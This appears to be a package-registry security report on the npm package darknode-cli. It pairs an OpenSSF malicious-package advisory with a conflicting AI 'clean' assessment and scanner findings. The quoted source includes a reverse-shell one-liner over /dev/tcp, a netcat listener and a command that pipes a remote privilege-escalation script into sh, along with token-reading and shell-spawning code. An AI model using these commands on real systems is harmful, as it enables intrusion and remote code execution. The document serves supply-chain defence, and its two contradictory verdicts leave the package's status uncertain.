registry / Malware / darknode-cli

darknode-cli

This report shows the evidence for darknode-cli@2.46.2. 3 of 4 known versions are blocked or flagged. See all versions.

OpenSSF/OSV Malicious Advisory

imported 5h ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-18195 confirms this npm version as malicious.

Advisory

MAL-2026-18195

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in darknode-cli (npm)

Details

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

References

OpenSSF/OSV advisory ADVISORY

Independent LPM AI assessment

Clean

Independent AI assessment: clean. LPM AI assessed this version as clean; the assessments disagree.

Source inspection found a hint-only install hook, trust-gated repository MCP configuration, and user-invoked security features consistent with the package’s CLI purpose. The scanner’s reverse-shell and command-execution matches reflect static examples and local Git operations, not confirmed attack behavior.

Static reason

High-risk behavior combination matched malicious policy.; previous stored version diff introduced dangerous source

Trigger

No malicious trigger identified; the install hook prints a hint, while CLI features require user invocation.

Impact

No confirmed harmful effect or attack surface was established.

Mechanism

The inspected source shows no covert execution or data transfer; the relevant process and network capabilities serve CLI features.

AI rationale

Independent scan evidence

public snapshot

AI called this Clean at 94.0% confidence as Benign with low false-positive risk.

Evidence for AI clean decision

The package runs darknode.js for its CLI and entrypoint; its install hook only prints a startup hint and exits.
Both CLI versions skip repository MCP configuration unless the operator has trusted that repository.
The Codex helper reads the authentication mode and returns model metadata; it does not read token values.
The reverse-shell examples are static strings in a security-tool cheat sheet, with no network or process actions in that module.
The diff helper runs local Git diff commands for a requested comparison.

Evidence against

Behavioral surface

Source

ChildProcessCryptoDynamicRequireEnvironmentVarsFilesystemNetworkShell

Supply chain

HighEntropyStringsTelemetryUrlStrings

Manifest

NoLicense

scanned 127 file(s), 4.19 MB of source, external domains: 0.0.0.0, 0251.0376.0251.0376, 10.0.0.1, 10.10.10.5, 127.0.0.1, 169.254.169.254, 169.254.169.254.nip.io, 172.16.0.1, 172.16.42.1, 192.168.1.1, a.169.254.169.254.1time.your, academy.hackthebox.com, academy.tcm-sec.com, accounts.google.com, acs.amazonaws.com, allowed-domain.com, allowed.com, api.example.com, api.github.com, api.ipify.org, attack.mitre.org, attacker.com, bazaar.abuse.ch, book.hacktricks.xyz, botnet-tracker.securityscorecard.com, censys.io, certifications.tcm-sec.com, check.torproject.org, crt.sh, cryptohack.org, ctftime.org, cve.mitre.org, cyberdefenders.org, dns.google, evil.com, evil.target.com, eviltarget.com, example.com, exploit.education, falcosecurity.github.io, feodotracker.abuse.ch, fuzz.target.com, github.com, graph.microsoft.com, gtfobins.github.io, hashcat.net, hooks.slack.com, host.com, identitytoolkit.googleapis.com, ifconfig.me

Source & flagged code

41 flagged

package.jsonView file

•scripts.postinstall = node scripts/postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node scripts/postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

darknode-legacy.jsView file

1068const postBody = providerId === "google.com" ? ("id_token=" + idpToken + "&providerId=google.com") : ("access_token=" + idpToken + "&providerId=github.com"); L1069: const r = await httpReq({ url: "https://identitytoolkit.googleapis.com/v1/accounts:signInWithIdp?key=" + encodeURIComponent(c.apiKey), method: "POST", headers: { "Content-Type": "a... L1070: if (!r.json || r.json.error) throw new Error((r.json && r.json.error && r.json.error.message) || ("Firebase sign-in failed (HTTP " + r.status + ") — is the provider enabled in the ... ... L1076: // ---- provider flows ---- L1077: function ghCliToken() { try { const r = require("child_process").spawnSync("gh", ["auth", "token"], { encoding: "utf8", timeout: 6000 }); if (!r.error && r.status === 0) { const t ... L1078: async function g

Critical

Command Output Exfiltration

Source executes local commands and sends command output to an external endpoint.

darknode-legacy.jsView on unpkg · L1068

1063patternName = google_api_key severity = high line = 1063

High

High Secret

Package contains a high-severity secret pattern.

darknode-legacy.jsView on unpkg · L1063

18const https = require("https"); L19: const { execFile, spawn } = require("child_process"); L20: const crypto = require("crypto");

High

Child Process

Package source references child process execution.

darknode-legacy.jsView on unpkg · L18

476console.log(" " + gray("first-time setup, this can take a few minutes...") + "\n " + gray(inst) + "\n"); L477: const p = spawn(process.platform === "win32" ? "cmd.exe" : "/bin/bash", process.platform === "win32" ? ["/c", inst] : ["-lc", inst], { stdio: "inherit" }); L478: p.on("close", (code) => { console.log("\n " + (code === 0 ? ok(t[0] + " is ready.") : red("setup exited with code " + code))); resolve(); });

High

Shell

Package source references shell execution.

darknode-legacy.jsView on unpkg · L476

4// Refuse to run in engagement mode (DARKNODE_ENGAGEMENT) — use darknode.js. L5: if (process.env.DARKNODE_ENGAGEMENT) { console.error("the legacy entry is ungated and cannot run in engagement mode; use darknode.js"); process.exit(1); } L6: // Back-compat: this legacy entry reads SENTINEL_* env vars directly. Let DARKNODE_* ... L14: */ L15: const net = require("net"); L16: const tls = require("tls"); ... L18: const https = require("https"); L19: const { execFile, spawn } = require("child_process"); L20: const crypto = require("crypto");

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

darknode-legacy.jsView on unpkg · L4

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

darknode-legacy.jsView on unpkg · L4

769const apply = !!(opts && opts.apply); L770: const cp = require("child_process"), fs = require("fs"), path = require("path"); L771: const dir = __dirname; L772: const run = (c, a) => cp.spawnSync(c, a, { cwd: dir, encoding: "utf8", timeout: 60000 }); L773: if (!fs.existsSync(path.join(dir, ".git"))) return "installed at " + dir + "\nnot a git checkout — update with: npm install -g darknode-cli@latest\n(or re-pull from wherever you c... L774: if (!hasBin("git")) return "git not found — install git to self-update, or reinstall the CLI.";

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

darknode-legacy.jsView on unpkg · L769

1063patternName = google_api_key severity = high line = 1063

High

Secret Pattern

Google API key in darknode-legacy.js

darknode-legacy.jsView on unpkg · L1063

14*/ L15: const net = require("net"); L16: const tls = require("tls");

Medium

Dynamic Require

Package source references dynamic require/import behavior.

darknode-legacy.jsView on unpkg · L14

lib/toolkit/cheats.jsView file

6"nmap": ["nmap -sV -sC -oN scan.txt TARGET", "nmap -p- --min-rate 5000 -T4 TARGET", "nmap --script vuln TARGET"], L7: "shells": ["bash -i >& /dev/tcp/IP/PORT 0>&1", "nc -lvnp 4444 # listener", "python3 -c 'import pty;pty.spawn(\"/bin/bash\")' # upgrade TTY"], L8: "privesc": ["find / -perm -4000 -type f 2>/dev/null # SUID", "sudo -l", "cat /etc/crontab", "curl -L .../linpeas.sh | sh"], L9: "transfer": ["python3 -m http.server 8000", "curl http://IP:8000/f -o f", "wget http://IP:8000/f"],

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

lib/toolkit/cheats.jsView on unpkg · L6

darknode.jsView file

1207Trigger-reachable chain: scripts.start -> darknode.js L1207: const postBody = providerId === "google.com" ? ("id_token=" + idpToken + "&providerId=google.com") : ("access_token=" + idpToken + "&providerId=github.com"); L1208: const r = await httpReq({ url: "https://identitytoolkit.googleapis.com/v1/accounts:signInWithIdp?key=" + encodeURIComponent(c.apiKey), method: "POST", headers: { "Content-Type": "a... L1209: if (!r.json || r.json.error) throw new Error((r.json && r.json.error && r.json.error.message) || ("Firebase sign-in failed (HTTP " + r.status + ") — is the provider enabled in the ... ... L1215: // ---- provider flows ---- L1216: function ghCliToken() { try { const r = require("child_process").spawnSync("gh", ["auth", "token"], { encoding: "utf8", timeout: 6000 }); if (!r.error &&

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

darknode.jsView on unpkg · L1207

•matchType = previous_version_dangerous_delta matchedPackage = darknode-cli@2.46.1 matchedIdentity = npm:ZGFya25vZGUtY2xp:2.46.1 similarity = 0.925 summary = stored previous version shares package body but lacks this dangerous source file

Critical

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

darknode.jsView on unpkg

1207Trigger-reachable command-output exfiltration chain: scripts.start -> darknode.js L1207: const postBody = providerId === "google.com" ? ("id_token=" + idpToken + "&providerId=google.com") : ("access_token=" + idpToken + "&providerId=github.com"); L1208: const r = await httpReq({ url: "https://identitytoolkit.googleapis.com/v1/accounts:signInWithIdp?key=" + encodeURIComponent(c.apiKey), method: "POST", headers: { "Content-Type": "a... L1209: if (!r.json || r.json.error) throw new Error((r.json && r.json.error && r.json.error.message) || ("Firebase sign-in failed (HTTP " + r.status + ") — is the provider enabled in the ... ... L1215: // ---- provider flows ---- L1216: function ghCliToken() { try { const r = require("child_process").spawnSync("gh", ["auth", "token"], { encoding: "utf8", timeo

lib/nexus/code-diff-explain.js#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 2

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

lib/nexus/code-diff-explain.js#virtual:normalized:round1View on unpkg

test/run.jsView file

214patternName = generic_password severity = medium line = 214

Medium

Secret Pattern

Hardcoded password in test/run.js

test/run.jsView on unpkg · L214

lib/nexus/git-security.jsView file

393patternName = generic_password severity = medium line = 393

Medium

Secret Pattern

Hardcoded password in lib/nexus/git-security.js

lib/nexus/git-security.jsView on unpkg · L393

lib/nexus/security-kb.jsView file

1330patternName = generic_password severity = medium line = 1330

Medium

Secret Pattern

Hardcoded password in lib/nexus/security-kb.js

lib/nexus/security-kb.jsView on unpkg · L1330

1337patternName = generic_password severity = medium line = 1337

Medium

Secret Pattern

Hardcoded password in lib/nexus/security-kb.js

lib/nexus/security-kb.jsView on unpkg · L1337

1343patternName = generic_password severity = medium line = 1343

Medium

Secret Pattern

Hardcoded password in lib/nexus/security-kb.js

lib/nexus/security-kb.jsView on unpkg · L1343

1345patternName = generic_password severity = medium line = 1345

Medium

Secret Pattern

Hardcoded password in lib/nexus/security-kb.js

lib/nexus/security-kb.jsView on unpkg · L1345

Source & flagged code

41 flagged · loading source

package.jsonView file

•scripts.postinstall = node scripts/postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node scripts/postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

darknode-legacy.jsView file

Findings

4 Critical10 High30 Medium6 Low

CriticalCommand Output Exfiltrationdarknode-legacy.js

CriticalReverse Shelllib/toolkit/cheats.js

CriticalTrigger Reachable Dangerous Capabilitydarknode.js

CriticalPrevious Version Dangerous Deltadarknode.js

HighInstall Time Lifecycle Scriptspackage.json

HighHigh Secretdarknode-legacy.js

HighChild Processdarknode-legacy.js

HighShelldarknode-legacy.js

HighSame File Env Network Executiondarknode-legacy.js

HighSandbox Evasion Gated Capabilitydarknode-legacy.js

HighTrigger Reachable Command Output Exfiltrationdarknode.js

HighRuntime Package Install

Affected versions and remediation

This report applies to darknode-cli@2.46.2.

The versions list below shows the verdict for each recorded version.

Avoid installing darknode-cli@2.46.2. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-22 20:35:07.883Z (UTC).

Source advisory published: 2026-10-22 20:23:01.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

4 known versions

2.46.2latestshownMaliciousMalwareBlockPublishedOct 20, 2026, 12:51 AM 2.46.1MaliciousMalwareBlockPublishedOct 18, 2026, 1:14 AM 2.46.0MaliciousMalwareBlockPublishedOct 18, 2026, 12:52 AM 0.0.0-stageUnknown—AllowUnder ReviewOct 18, 2026, 12:32 AM

OpenSSF/OSV Malicious Advisory

Independent LPM AI assessment

Independent scan evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other malware packages

Source & flagged code

Related packages

Other malware packages